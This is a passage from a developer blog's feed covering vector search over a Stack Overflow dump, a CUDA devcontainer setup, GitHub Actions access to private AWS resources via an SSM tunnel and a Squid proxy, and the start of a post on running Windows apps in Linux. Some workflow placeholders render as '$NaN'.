insert_sql <span class="token operator">=</span> <span class="token triple-quoted-string string">"""
INSERT INTO search_qa (id, qa_body, embedding)
VALUES (%s, %s, %s);
"""</span>
cur<span class="token punctuation">.</span>execute<span class="token punctuation">(</span>insert_sql<span class="token punctuation">,</span> <span class="token punctuation">(</span>post_id<span class="token punctuation">,</span> combined_text<span class="token punctuation">,</span> embedding<span class="token punctuation">)</span><span class="token punctuation">)</span>
conn<span class="token punctuation">.</span>commit<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre>
<p>The initial search step was a bit slow, but after that it was really fast to generate and insert the embeddings.</p>
<p>I then did a quick test search, I generated the embedding for the phrase “Content Security Policy”, and did a vector similarity search over the <code>search_qa</code> table.</p>
<pre class="language-sql"><code class="language-sql"><span class="token keyword">SELECT</span>
id<span class="token punctuation">,</span>
qa_body<span class="token punctuation">,</span>
embedding <span class="token operator"><=></span> <span class="token string">'[-0.016028311103582382, -0.03581836819648743, -0.009608807973563671, ...'</span> <span class="token keyword">AS</span> distance
<span class="token keyword">FROM</span> search_qa
<span class="token keyword">ORDER</span> <span class="token keyword">BY</span> embedding <span class="token operator"><=></span> <span class="token string">'[-0.016028311103582382, -0.03581836819648743, -0.009608807973563671, ...'</span> <span class="token keyword">ASC</span>
<span class="token keyword">LIMIT</span> <span class="token number">5</span><span class="token punctuation">;</span></code></pre>
<p>And it worked, I got back the most relevant posts with a cosine distance score.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/010.png">
<img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/010.png" alt="SQL vector similarity search results for Content Security Policy" title="" loading="lazy" /></span>
<figcaption>Vector search results for Content Security Policy</figcaption>
</figure><p></p>
<p>I stopped here, but I didn’t think it would involve too much extra effort to get this working as a RAG system, with local LLM tools such as Ollama, OpenWebUI, or LM Studio.</p>
<h2 id="other-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#other-notes">Other notes</a></h2>
<p>I’m satisfied with this as a start, it is a reasonable set of steps to me for the two main topics I wanted to address: getting a backup of Stack Overflow (and other Stack Exchange sites), and setting up a workable search over the data dump.</p>
<p>I suspect there will be enough community interest in preserving the data dumps, so it’ll be quite unlikely that I have to resort to a local search solution, but every little bit of preparedness can help. However, more importantly, seeding the torrent will help with its availability, and having a local copy means that I can experiment with it without worrying about access restrictions.</p>
<p>While we’re on the topic of data preservation and looking at Academic Torrents, it’s probably worth <a href="https://academictorrents.com/browse.php?search=wikipedia#">grabbing Wikipedia’s datasets</a> too.</p>
<p>It hasn’t been great to see the company’s attitude towards data availability degrade over time, but I greatly appreciate the tireless and thankless community efforts to preserve access to the data.</p>
Run your development environments in isolation with Docker and CUDA2025-12-23T00:00:00Zhttps://code.mendhak.com/run-cuda-machine-learning-environment-in-docker/<p>When running machine learning workloads that require GPU access, it’s usually necessary to have the CUDA toolkit ready. Although installing CUDA directly on the host is possible, I prefer to keep the host system clean and isolated from major dependencies. This is especially useful when working with libraries such as PyTorch, TensorFlow, and others that can end up in weird states of conflict with each other, especially when some libraries expect specific versions of CUDA.</p>
<p>The most straightforward way to achieve this isolation is to use Docker with GPU support in devcontainers. This allows for a reproducible environment that can easily be shared and version controlled.</p>
<h2 id="installing-the-nvidia-container-toolkit" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-cuda-machine-learning-environment-in-docker/#installing-the-nvidia-container-toolkit">Installing the NVIDIA Container Toolkit</a></h2>
<p>Docker is pretty simple to install, I usually use the <a href="https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script">convenience script</a> from their site.</p>
<p>Now by default, Docker doesn’t have GPU access. The way to enable this is to install the NVIDIA Container Toolkit, following <a href="https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html">the instructions here</a>. For me on Linux, the steps were:</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># Configure the package repository</span>
<span class="token function">curl</span> <span class="token parameter variable">-fsSL</span> https://nvidia.github.io/libnvidia-container/gpgkey <span class="token operator">|</span> <span class="token function">sudo</span> gpg <span class="token parameter variable">--dearmor</span> <span class="token parameter variable">-o</span> /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg <span class="token punctuation">\</span>
<span class="token operator">&&</span> <span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token parameter variable">-L</span> https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list <span class="token operator">|</span> <span class="token punctuation">\</span>
<span class="token function">sed</span> <span class="token string">'s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g'</span> <span class="token operator">|</span> <span class="token punctuation">\</span>
<span class="token function">sudo</span> <span class="token function">tee</span> /etc/apt/sources.list.d/nvidia-container-toolkit.list
<span class="token comment"># Install the runtime packages</span>
<span class="token function">sudo</span> <span class="token function">apt-get</span> update
<span class="token builtin class-name">export</span> <span class="token assign-left variable">NVIDIA_CONTAINER_TOOLKIT_VERSION</span><span class="token operator">=</span><span class="token number">1.18</span>.1-1
<span class="token function">sudo</span> <span class="token function">apt-get</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> <span class="token punctuation">\</span>
nvidia-container-toolkit<span class="token operator">=</span><span class="token variable">${NVIDIA_CONTAINER_TOOLKIT_VERSION}</span> <span class="token punctuation">\</span>
nvidia-container-toolkit-base<span class="token operator">=</span><span class="token variable">${NVIDIA_CONTAINER_TOOLKIT_VERSION}</span> <span class="token punctuation">\</span>
libnvidia-container-tools<span class="token operator">=</span><span class="token variable">${NVIDIA_CONTAINER_TOOLKIT_VERSION}</span> <span class="token punctuation">\</span>
libnvidia-container1<span class="token operator">=</span><span class="token variable">${NVIDIA_CONTAINER_TOOLKIT_VERSION}</span>
<span class="token comment"># Configure Docker to use the Nvidia runtime</span>
<span class="token function">sudo</span> nvidia-ctk runtime configure <span class="token parameter variable">--runtime</span><span class="token operator">=</span>docker
<span class="token function">sudo</span> systemctl restart <span class="token function">docker</span>
<span class="token comment"># Finally run a quick test</span>
<span class="token function">docker</span> run <span class="token parameter variable">--rm</span> <span class="token parameter variable">--runtime</span><span class="token operator">=</span>nvidia <span class="token parameter variable">--gpus</span> all ubuntu nvidia-smi</code></pre>
<p>Docker is now able to access the GPU on the host, tested using the <code>nvidia-smi</code> command:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-cuda-machine-learning-environment-in-docker/001.png">
<img src="https://code.mendhak.com/assets/images/run-cuda-machine-learning-environment-in-docker/001.png" alt="nvidia-smi output in docker" loading="lazy" /></span>
<figcaption>nvidia-smi output in docker</figcaption>
</figure><p></p>
<h2 id="setting-up-the-devcontainer" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-cuda-machine-learning-environment-in-docker/#setting-up-the-devcontainer">Setting up the devcontainer</a></h2>
<p>Devcontainers are a way of defining a development environment using Docker containers, and specifying settings, extensions, and other bits of configuration. Compatible IDEs, including VS Code, know how to read the devcontainer configuration and set up the environment. This usually involves downloading or building the Docker image, starting the container with the right settings, installing features, and connecting the IDE to the container.</p>
<p>Here is a devcontainer configuration which uses a base image from NVIDIA with CUDA support.</p>
<p>The features section includes Python 3.11 and uv for virtual environment management. The <code>postCreateCommand</code> runs <code>uv sync</code> just as you would in a normal repository.</p>
<p>Further along, the Python and Jupyter extensions are installed in VSCode, and the Python interpreter is set to the virtual environment created by <code>uv</code>.</p>
<p>Finally, the <code>runArgs</code> section ensures that the container has access to all GPUs on the host.</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
<span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"LLM-RL-Project"</span><span class="token punctuation">,</span>
<span class="token property">"image"</span><span class="token operator">:</span> <span class="token string">"nvidia/cuda:12.1.0-cudnn8-runtime-ubuntu22.04"</span><span class="token punctuation">,</span> <span class="token comment">// Base image with CUDA support</span>
<span class="token property">"features"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"ghcr.io/devcontainers/features/common-utils:2"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"installZsh"</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
<span class="token property">"configureZshOhMyZsh"</span><span class="token operator">:</span> <span class="token boolean">true</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"ghcr.io/devcontainers/features/python:1"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"3.11"</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"ghcr.io/iterative/features/nvtop:1"</span><span class="token operator">:</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"ghcr.io/jsburckhardt/devcontainer-features/uv:1"</span><span class="token operator">:</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Installs uv</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"postCreateCommand"</span><span class="token operator">:</span> <span class="token string">"uv sync"</span><span class="token punctuation">,</span> <span class="token comment">// Runs uv to set up the virtual environment and install packages</span>
<span class="token property">"customizations"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"vscode"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"extensions"</span><span class="token operator">:</span> <span class="token punctuation">[</span>
<span class="token string">"ms-python.python"</span><span class="token punctuation">,</span>
<span class="token string">"ms-toolsai.jupyter"</span> <span class="token comment">// Python and Jupyter extensions for VS Code</span>
<span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token property">"settings"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"python.defaultInterpreterPath"</span><span class="token operator">:</span> <span class="token string">"${workspaceFolder}/.venv/bin/python"</span> <span class="token comment">// Use the virtual environment created by 'uv'</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"runArgs"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"--gpus"</span><span class="token punctuation">,</span> <span class="token string">"all"</span><span class="token punctuation">,</span> <span class="token string">"--name"</span><span class="token punctuation">,</span> <span class="token string">"llm-rl-container"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token comment">// Ensures GPU access</span>
<span class="token property">"mounts"</span><span class="token operator">:</span> <span class="token punctuation">[</span>
<span class="token comment">// gitconfig for the user's git settings</span>
<span class="token string">"source=${localEnv:HOME}${localEnv:USERPROFILE}/.gitconfig,target=/home/vscode/.gitconfig,type=bind,consistency=cached"</span>
<span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token property">"remoteUser"</span><span class="token operator">:</span> <span class="token string">"vscode"</span>
<span class="token punctuation">}</span></code></pre>
<p>Just placing this file at <code>.devcontainer/devcontainer.json</code> in the project folder is enough for VS Code to pick it up and prompt to reopen the folder in the container, including performing the setup steps.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-cuda-machine-learning-environment-in-docker/002.png">
<img src="https://code.mendhak.com/assets/images/run-cuda-machine-learning-environment-in-docker/002.png" alt="Devcontainer preparing the environment" loading="lazy" /></span>
<figcaption>Devcontainer preparing the environment</figcaption>
</figure><p></p>
<p>The first run takes a while. Once complete, VS Code is connected to the container and the environment looks very familiar. The terminal shows that the virtual environment is active, and the path starts with <code>/workspaces/</code> which indicates that it’s running inside the container.</p>
<p>The project files are all there, and the SSH agent is forwarded so that git operations work as expected.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-cuda-machine-learning-environment-in-docker/003.png">
<img src="https://code.mendhak.com/assets/images/run-cuda-machine-learning-environment-in-docker/003.png" alt="Environment ready" loading="lazy" /></span>
<figcaption>Environment ready</figcaption>
</figure><p></p>
<p>It isn’t necessary to use a ready-made base image, it’s also possible to point at Dockerfiles that do their own custom setup. There are many ways to customize the devcontainer environment. It isn’t necessary to use the <code>uv</code> feature above either, that can also be a Dockerfile step if preferred.</p>
<h2 id="machine-all-the-learnings" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-cuda-machine-learning-environment-in-docker/#machine-all-the-learnings">Machine all the learnings</a></h2>
<p>And now the fun part, which is running those notebooks. The example that spurred me was <a href="https://docs.unsloth.ai/models/gpt-oss-how-to-run-and-fine-tune/gpt-oss-reinforcement-learning/tutorial-how-to-train-gpt-oss-with-rl">a tutorial from Unsloth</a> on applying reinforcement learning with a reward function to gpt-oss to teach it how to play the 2048 game. They provide a notebook that does all the steps, so I just saved it as <code>.ipynb</code> and opened it in VS Code in the devcontainer.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-cuda-machine-learning-environment-in-docker/004.png">
<img src="https://code.mendhak.com/assets/images/run-cuda-machine-learning-environment-in-docker/004.png" alt="Training the model in the devcontainer" loading="lazy" /></span>
<figcaption>Training the model in the devcontainer</figcaption>
</figure><p></p>
<h2 id="sample-repo" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-cuda-machine-learning-environment-in-docker/#sample-repo">Sample repo</a></h2>
<p>I have pushed a <a href="https://github.com/mendhak/devcontainer-nvidia-cuda-environment">sample repository</a> demonstrating this setup to GitHub. It should be enough to just clone the repo and open it in VS Code to get started. But make sure that the NVIDIA Container Toolkit is installed on the host first, otherwise the container won’t have access to the GPU.</p>
How to connect to internal AWS resources from GitHub Actions2025-12-16T00:00:00Zhttps://code.mendhak.com/github-actions-to-internal-aws-resources/<p>The most common way to run GitHub Actions is to use the hosted runners provided by GitHub, but these runners don’t have direct access to internal AWS resources such as databases or API/HTTP services in private VPCs. The usual approach to solving this would be to use self-hosted runners deployed within the same VPC, but that comes with the overhead of running and maintaining your own runners.</p>
<p>One approach I’ve used is to set up a proxy in the VPC that the Github Actions runner can connect to, which then forwards the requests to the internal resources. This is a better approach than self-hosted runners, since it still makes use of managed services, but works best for simple use cases.</p>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-actions-to-internal-aws-resources/#how-it-works">How it works</a></h2>
<p>To put that into a little more detail: the approach is to create an ECS Fargate task that runs in the same VPC as the internal resources, and then use AWS Session Manager to create a secure tunnel from the Github Actions runner to that ECS task. The ECS task runs a proxy server such as Squid, which then forwards the requests to the actual internal resources.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/github-actions-to-internal-aws-resources/001.png">
<img src="https://code.mendhak.com/assets/images/github-actions-to-internal-aws-resources/001.png" alt="Github Actions components proxying through an SSM tunnel to an ECS Fargate task running Squid proxy" title="" loading="lazy" /></span>
<figcaption>Solution overview</figcaption>
</figure><p></p>
<p>In this example I’m going to set up a Squid proxy server, as my main use case is to run UI tests using Playwright. However, this approach can be used for any type of proxy server, such as HAProxy for TCP connections.</p>
<h2 id="create-the-squid-service" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-actions-to-internal-aws-resources/#create-the-squid-service">Create the Squid service</a></h2>
<p>Start by creating an ECS Fargate task that runs the squid proxy server.</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token keyword">resource <span class="token type variable">"aws_ecs_task_definition"</span></span> <span class="token string">"automation_test_squid"</span> <span class="token punctuation">{</span>
...
<span class="token property">network_mode</span> <span class="token punctuation">=</span> <span class="token string">"awsvpc"</span>
<span class="token property">container_definitions</span> <span class="token punctuation">=</span> << DEFINITION
<span class="token punctuation">[</span>
<span class="token punctuation">{</span>
<span class="token property">"name"</span>: <span class="token string">"squid"</span>,
<span class="token property">"image"</span>: <span class="token string">"ubuntu/squid"</span>,
<span class="token property">"portMappings"</span>: <span class="token punctuation">[</span>
<span class="token punctuation">{</span>
<span class="token property">"protocol"</span>: <span class="token string">"tcp"</span>,
<span class="token property">"containerPort"</span>: <span class="token number">3128</span>,
<span class="token property">"hostPort"</span>: <span class="token number">3128</span>
<span class="token punctuation">}</span>
<span class="token punctuation">]</span>,
<span class="token property">"essential"</span>: <span class="token boolean">true</span>,
<span class="token property">"entryPoint"</span>: <span class="token punctuation">[</span><span class="token punctuation">]</span>,
<span class="token property">"command"</span>: <span class="token punctuation">[</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span>
<span class="token punctuation">]</span>
DEFINITION
<span class="token property">requires_compatibilities</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span><span class="token string">"FARGATE"</span><span class="token punctuation">]</span>
<span class="token property">cpu</span> <span class="token punctuation">=</span> <span class="token string">"1024"</span>
<span class="token property">memory</span> <span class="token punctuation">=</span> <span class="token string">"2048"</span>
...
</code></pre>
<p>When setting up the permissions for this task, ensure that it has these ssmmessages permissions attached:</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token punctuation">{</span>
<span class="token property">"Version"</span>: <span class="token string">"2012-10-17"</span>,
<span class="token property">"Statement"</span>: <span class="token punctuation">[</span>
<span class="token punctuation">{</span>
<span class="token property">"Effect"</span>: <span class="token string">"Allow"</span>,
<span class="token property">"Action"</span>: <span class="token punctuation">[</span>
<span class="token string">"ssmmessages:CreateControlChannel"</span>,
<span class="token string">"ssmmessages:CreateDataChannel"</span>,
<span class="token string">"ssmmessages:OpenControlChannel"</span>,
<span class="token string">"ssmmessages:OpenDataChannel"</span>
<span class="token punctuation">]</span>,
<span class="token property">"Resource"</span>: <span class="token string">"*"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">]</span>
<span class="token punctuation">}</span>
</code></pre>
<p>Next, create an ECS service for that task definition, and ensure that the ECS Exec feature is enabled on that service:</p>
<pre class="language-hcl"><code class="language-hcl">resource <span class="token string">"aws_ecs_service"</span><span class="token string">"automation_testing_squid"</span> <span class="token punctuation">{</span>
<span class="token property">name</span> <span class="token punctuation">=</span> <span class="token string">"squid"</span>
<span class="token property">cluster</span> <span class="token punctuation">=</span> aws_ecs_cluster.automation_testing.arn
<span class="token property">desired_count</span> <span class="token punctuation">=</span> <span class="token number">1</span>
<span class="token property">enable_execute_command</span> <span class="token punctuation">=</span> <span class="token boolean">true</span> <span class="token comment"># <--- important!</span>
<span class="token keyword">lifecycle</span> <span class="token punctuation">{</span>
<span class="token property">ignore_changes</span> <span class="token punctuation">=</span> all
<span class="token punctuation">}</span>
...
<span class="token punctuation">}</span>
</code></pre>
<p>Run this and you should have an ECS Service running the Squid proxy server, with the ECS Exec feature enabled.</p>
<h2 id="set-up-github-oidc-provider-and-permissions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-actions-to-internal-aws-resources/#set-up-github-oidc-provider-and-permissions">Set up GitHub OIDC provider and permissions</a></h2>
<p>To allow GitHub Actions to connect to AWS securely, set up an OIDC provider and create an IAM role with permissions to start and terminate SSM sessions on the specific ECS tasks running the Squid service. I like to use the <a href="https://github.com/unfunco/terraform-aws-oidc-github">unfunco/oidc-github/aws module</a> as it’s quite simple and readable.</p>
<pre class="language-hcl"><code class="language-hcl">module <span class="token string">"iam_identity_provider_automation_testing"</span><span class="token punctuation">{</span>
<span class="token property">source</span> <span class="token punctuation">=</span> <span class="token string">"unfunco/oidc-github/aws"</span>
<span class="token property">version</span> <span class="token punctuation">=</span> <span class="token string">"1.8.1"</span>
<span class="token property">create_oidc_provider</span> <span class="token punctuation">=</span> <span class="token boolean">true</span> <span class="token comment"># set it to false if you already have one</span>
<span class="token property">iam_role_name</span> <span class="token punctuation">=</span> <span class="token string">"automation_testing_github_actions_permissions"</span>
<span class="token property">github_repositories</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span>
<span class="token string">"mendhak/repo1"</span>,
<span class="token string">"mendhak/repo2"</span> <span class="token comment">#<-- specific repos</span>
<span class="token punctuation">]</span>
...
<span class="token punctuation">}</span>
data <span class="token string">"aws_iam_policy_document"</span> <span class="token string">"automation_testing_ssm_policy"</span><span class="token punctuation">{</span>
<span class="token keyword">statement</span> <span class="token punctuation">{</span>
<span class="token property">actions</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span>
<span class="token string">"ssm:StartSession"</span>,
<span class="token string">"ssm:TerminateSession"</span>,
<span class="token string">"ssm:ResumeSession"</span>
<span class="token punctuation">]</span>
<span class="token property">effect</span> <span class="token punctuation">=</span> <span class="token string">"Allow"</span>
<span class="token property">resources</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span>
<span class="token string">"arn:aws:ecs:eu-west-1:*:task/automation_testing/*"</span>
<span class="token punctuation">]</span> <span class="token comment"># <-- The specific squid service tasks</span>
<span class="token punctuation">}</span>
...
<span class="token punctuation">}</span>
</code></pre>
<h2 id="use-it-in-github-actions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-actions-to-internal-aws-resources/#use-it-in-github-actions">Use it in GitHub Actions</a></h2>
<p>Now that the AWS side is ready, add a step to the Github Actions workflow to set up the port forwarding to the Squid ECS task. Below is a sample Github action that does this.</p>
<p>These steps get the Task ID and Runtime ID needed to start the tunnel, then starts the SSM session forwarding local port 3128 to port 3128 on the Squid task.</p>
<p>There’s a curl step included to test that the proxy is working, and finally a cleanup step that terminates the session.</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">steps</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Configure AWS credentials
<span class="token key atrule">uses</span><span class="token punctuation">:</span> aws<span class="token punctuation">-</span>actions/configure<span class="token punctuation">-</span>aws<span class="token punctuation">-</span>credentials@v2
<span class="token key atrule">with</span><span class="token punctuation">:</span>
<span class="token key atrule">aws-region</span><span class="token punctuation">:</span> $NaN
<span class="token key atrule">role-to-assume</span><span class="token punctuation">:</span> arn<span class="token punctuation">:</span>aws<span class="token punctuation">:</span>iam<span class="token punctuation">:</span><span class="token punctuation">:</span>$NaN<span class="token punctuation">:</span>role/$NaN
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'Get Squid Task ID'</span>
<span class="token key atrule">id</span><span class="token punctuation">:</span> get<span class="token punctuation">-</span>squid<span class="token punctuation">-</span>task<span class="token punctuation">-</span>id
<span class="token key atrule">shell</span><span class="token punctuation">:</span> bash
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
squid_task_id=$(aws ecs list-tasks --cluster github_actions_proxy --service-name squid --region $NaN --query 'taskArns[0]' --output text | cut -d "/" -f 3)
echo "Squid task id: $squid_task_id"
echo "squid_task_id=$squid_task_id" >> $GITHUB_OUTPUT</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'Get Squid Runtime ID'</span>
<span class="token key atrule">id</span><span class="token punctuation">:</span> get<span class="token punctuation">-</span>squid<span class="token punctuation">-</span>runtime<span class="token punctuation">-</span>id
<span class="token key atrule">shell</span><span class="token punctuation">:</span> bash
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
squid_runtime_id=$(aws ecs describe-tasks --cluster github_actions_proxy --task $NaN --region $NaN --query 'tasks[].containers[0].runtimeId' --output text)
echo "Squid runtime id: $squid_runtime_id"
echo "squid_runtime_id=$squid_runtime_id" >> $GITHUB_OUTPUT</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'Start SSM Session'</span>
<span class="token key atrule">id</span><span class="token punctuation">:</span> start<span class="token punctuation">-</span>ssm<span class="token punctuation">-</span>session
<span class="token key atrule">shell</span><span class="token punctuation">:</span> bash
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
aws ssm start-session --target ecs:github_actions_proxy_$NaN_$NaN --document-name AWS-StartPortForwardingSession --parameters '{"portNumber":["3128"], "localPortNumber":["3128"]}' --region $NaN > ssm_output.txt 2>&1 &
sleep 10 # Give it a moment to ensure the command has output the session Id
echo "Contents of ssm_output.txt:"
cat ssm_output.txt
echo "Attempting to extract Session Id..."
SESSION_ID=$(grep -oP 'SessionId: \K[a-zA-Z0-9-]+' ssm_output.txt | head -1)
if [ -z "$SESSION_ID" ]; then
echo "::error::Session Id not found in the output"
exit 1
fi
echo "Extracted Session ID: $SESSION_ID"
echo "ssm_session_id=$SESSION_ID" >> $GITHUB_OUTPUT</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Test with curl
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
curl -x localhost:3128 https://ipinfo.io</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span> <span class="token punctuation">:</span> <span class="token string">'Stop SSM Session'</span>
<span class="token key atrule">id</span><span class="token punctuation">:</span> stop<span class="token punctuation">-</span>ssm<span class="token punctuation">-</span>session
<span class="token key atrule">uses</span><span class="token punctuation">:</span> gacts/run<span class="token punctuation">-</span>and<span class="token punctuation">-</span>post<span class="token punctuation">-</span>run@v1
<span class="token key atrule">with</span><span class="token punctuation">:</span>
<span class="token key atrule">post</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
echo "Ending SSM Session"
aws ssm terminate-session --session-id $NaN --region $NaN
echo "SSM Session Ended"</span></code></pre>
<p>The curl step is just an example; it would be replaced with the actual steps that need access to internal AWS resources via the proxy. For Playwright, setting up a proxy server would involve modifying the config:</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token literal-property property">proxy</span><span class="token operator">:</span> process<span class="token punctuation">.</span>env<span class="token punctuation">.</span><span class="token constant">PROXY_SERVER</span> <span class="token operator">?</span> <span class="token punctuation">{</span> <span class="token literal-property property">server</span><span class="token operator">:</span> process<span class="token punctuation">.</span>env<span class="token punctuation">.</span><span class="token constant">PROXY_SERVER</span> <span class="token punctuation">}</span> <span class="token operator">:</span> <span class="token keyword">undefined</span></code></pre>
<p>Then, pass the <code>PROXY_SERVER</code> environment variable in the GitHub Actions workflow:</p>
<pre class="language-yaml"><code class="language-yaml"> <span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Run Playwright tests
<span class="token key atrule">run</span><span class="token punctuation">:</span> npx playwright test
<span class="token key atrule">env</span><span class="token punctuation">:</span>
<span class="token key atrule">PROXY_SERVER</span><span class="token punctuation">:</span> http<span class="token punctuation">:</span>//localhost<span class="token punctuation">:</span><span class="token number">3128</span></code></pre>
<h2 id="notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-actions-to-internal-aws-resources/#notes">Notes</a></h2>
<p>There is of course a cost associated here, that of running the ECS Fargate task, however it does scale pretty well as it can be used by many Github Actions workflows, which makes it cost effective. Fargate is generally pretty cheap, but it can also be set up as a Fargate Spot task to reduce costs even further.</p>
<p>The use of Session Manager here means that there are no open inbound ports on the ECS task or VPC, and no need to manage SSH keys or VPNs. The connection is secure and temporary, only lasting for the duration of the GitHub Actions workflow run.</p>
<p>Squid is a pretty flexible example, because it requires almost no modifications to the calling client code, not only does it handle the requests, but it handles the DNS resolution as well.</p>
<p>Squid will work well for HTTP and HTTPS traffic, but for other protocols you may need to look at HAProxy or Nginx; the approach would be similar but there would be configuration needed over on the HAProxy/Nginx side to handle specific ports and forward to destinations.</p>
Running Windows apps natively in Linux with Docker2025-12-08T00:00:00Zhttps://code.mendhak.com/native-windows-apps-in-linux/<p>Traditionally there have been two main ways to deal with having to run Windows applications when using a Linux environment as a daily driver. The first is to dual boot into Windows, and the other is to use an emulation layer such as Wine or Proton.</p>
<p>Recently I have been exploring alternatives to these approaches — running Windows applications in a lightweight Docker container or virtual machine. This has the advantage of near native performance, and without compatibility issues that may arise through emulation layers. All this while staying within Linux but maintaining a clean separation.</p>
<p>In this screenshot below I am running Affinity Studio natively on my Linux Desktop, while the application itself is running in a Windows 11 installation inside a Docker container.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/001.png">
<img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/001.png" alt="Affinity Photo running via WinApps on Linux Mint host" title="" loading="lazy" /></span>
<figcaption>Affinity Photo on Linux Mint</figcaption>
</figure><p></p>
<p>WinApps and Winboat are two projects that facilitate this approach.</p>
<h2 id="winapps" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/native-windows-apps-in-linux/#winapps">WinApps</a></h2>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/winapps-org/winapps"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 